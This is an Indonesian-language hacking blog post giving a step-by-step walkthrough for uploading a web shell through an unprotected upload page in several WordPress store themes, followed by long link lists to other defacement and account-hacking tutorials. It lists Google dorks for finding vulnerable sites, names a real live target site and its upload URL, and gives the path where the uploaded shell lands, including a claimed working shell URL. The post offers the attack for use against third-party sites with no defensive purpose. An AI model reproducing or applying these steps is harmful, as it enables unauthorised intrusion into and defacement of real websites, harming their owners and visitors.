0 wordpress themes store vuln (shell upload) + video

Dork :

inurl:/wp-content/themes/WPStore
inurl:/wp-content/themes/eShop
inurl:/wp-content/themes/KidzStore
inurl:/wp-content/themes/Emporium
inurl:/wp-content/themes/Store
inurl:/wp-content/themes/eCommerce
inurl:/wp-content/themes/framework

Oke kita mulai masukan salah satu dork diatas kedalam mesin pencaharian google. oke lihat gambar dibawah.
saya ambil dork yang inurl:/wp-content/themes/framework

pilih salah satu website yang ada disitu. saya ambil live target http://www.compareukprice.com/wp-content/themes/framework/upload/
Exploit : www.site.com/wp-content/themes/TYPESTORE/upload

upload file Pilih Berkas , upload shell ya jangan upload photo

pilih salah satu shell kamu seperti gambar diatas

tunggu sampai proses loading selesai , kalau loading tidak selesai-selesai tinggalkan saja web itu

jika sudah , proses loadingnya akan hilang , seperti gambar diatas
jika semua proses diatas sudah selesai kamu bisa langsung akses shell kamu.

di
www.site.com/wp-content/uploads/products_img/NAMASHELLKAMU.typefile
atau
www.site.com/wp-content/uploads/TAHUNUPLOADKAMU/BULANUPLOADKAMU/NAMASHELLKAMU.typefile

contoh :

http://www.compareukprice.com/wp-content/uploads/products_img/shell7.php Hasil dari live target

Artikel Terkait :

google dork

• Cara Mengatasi WiFi Tidak Bisa Connect Pada Samsung Galaxy Ace S583
• Cara Mudah Deface Website Dengan Exploit Joomla JCE Extension | Remote File Upload Vulnerability
• Teknik Exploit Com_Media pada CMS Joomla -
• Deface Dgn Mudah Menggunaka Bugs Zen Cart
• Trick Hack Facebook 2013
• Cara Deface Dengan Tools Webdav
• Cara Mencari Backdoor Dengan Google Dorks
• Cara baypass Config (lengkap video )
• Cara Upload Shell Di wordprees harus Dengan melewati FTP Password
• Alur Web Attack ( Tools Hacking )
• POC Owning Shell From Zero Day Attack
• Kenali Tipe Hash Kamu !!!
• Mencari Cpnel Dengan bantuan DORK
• Tutorial Upload Shell Di CMS Balitbang / Web Sekolahan
• Deface dengan XSS Vulnerability ( Cara Sederhana )
• Tutorial Deface Website tertentu menggunakan IP server
• Google Dork ( Langsung Login Dalam Admin Site )
• cara rampok ranjau facebook orang lain dengan bantuan google
• Google Dork Attack Wordpress Dan jomla ( User password )
• Deface Dengan SQLMAP di Backtrack 5
• Potong jaringan Internet Dengan Netcut
• Shell Upload With Tamper Data
• Bug CMS Lokomedia After Patch
• Teknik Default Password

Shell Hacking

• Tutorial Upload Shell Backdoor di CMS vBulletin
• CREATE A COOKIELOGGER TO HACK ANY ACCOUNT
• How to Install Kali linux Step by Step Guide
• Cara Mudah Deface Website Dengan Exploit Joomla JCE Extension | Remote File Upload Vulnerability
• Fake FB inbox bomber
• Deface Dgn Mudah Menggunaka Bugs Zen Cart
• Pengertian RFI,LFI,LFD ( Full Tutorial Deface )
• Cara Deface Web Dengan CSRF
• Cara Deface Web Dengan SQL Manual
• Sql Injection Via Perl ( Full Tutorial )
• Trick Hack Facebook 2013
• Bypass Symlink yang Forbidden
• Exploit Wordpress Blogs
• [tutor] hack joomla versi terbaru
• Tutorial Deface Dengan JS Overlay (mudah kok )
• Cara baypass Config (lengkap video )
• Cara Upload Shell Di wordprees harus Dengan melewati FTP Password
• Alur Web Attack ( Tools Hacking )
• Mencari Cpnel Dengan bantuan DORK
• Deface dengan XSS Vulnerability ( Cara Sederhana )
• Cara Upload Backdoor/Shell di Wordpress
• Cara Deface Website Dengan Menggunakan Tools Havij
• Cara Deface Dengan Tamper Data ...
• Deface Website With Spaw Uploads Vulnerability.

Internet

• Cara Mengatasi WiFi Tidak Bisa Connect Pada Samsung Galaxy Ace S583
• Pengertian RFI,LFI,LFD ( Full Tutorial Deface )
• Cara Deface Web Dengan CSRF
• Cara Upload Shell Di Joomla Full Tutorial ( 4 Trick )
• Cara Deface Dengan Tools Webdav
• Cara Upload Shell Di wordprees harus Dengan melewati FTP Password
• Cara membuat Phising Di Site apa aja ( Full tutorial )
• Kode emotion Chat facebook lengkap 2013 2014
• Bagaimana Pacaran Menurut Hukum Islam
• Tutorial Cara Membuat Judul Posting Berjalan di Blog
• Cara Mengganti Icon Address Bar Blog di Blogspot
• Cara Memasang Flash Keren di Blog
• Cara Membuat Follower Blog Keren
• Cara Mudah Membuat Scroll Komentar Blog
• Cara Menambahkan Sub Menu di Menu Horizontal Blogspot
• Cara Mudah Membuat Readmore Otomatis di Blog Terbaru
• Cara Buat Breadcrumb Terindeks Google di Blogger
• Hubungan Ilmu Kedokteran dengan Teknologi
• Cara Mudah Non Aktifkan Akun FB
• Cara Menolak Otomatis Permintaan Pertemanan di Facebook
• Kumpulan Emoticon FB Terbaru
• Emoticon Chat Facebook Complete
• Cara Agar Banyak Like Status Facebook
• Cara Mudah Membuat Chat Emoticon FB Sendiri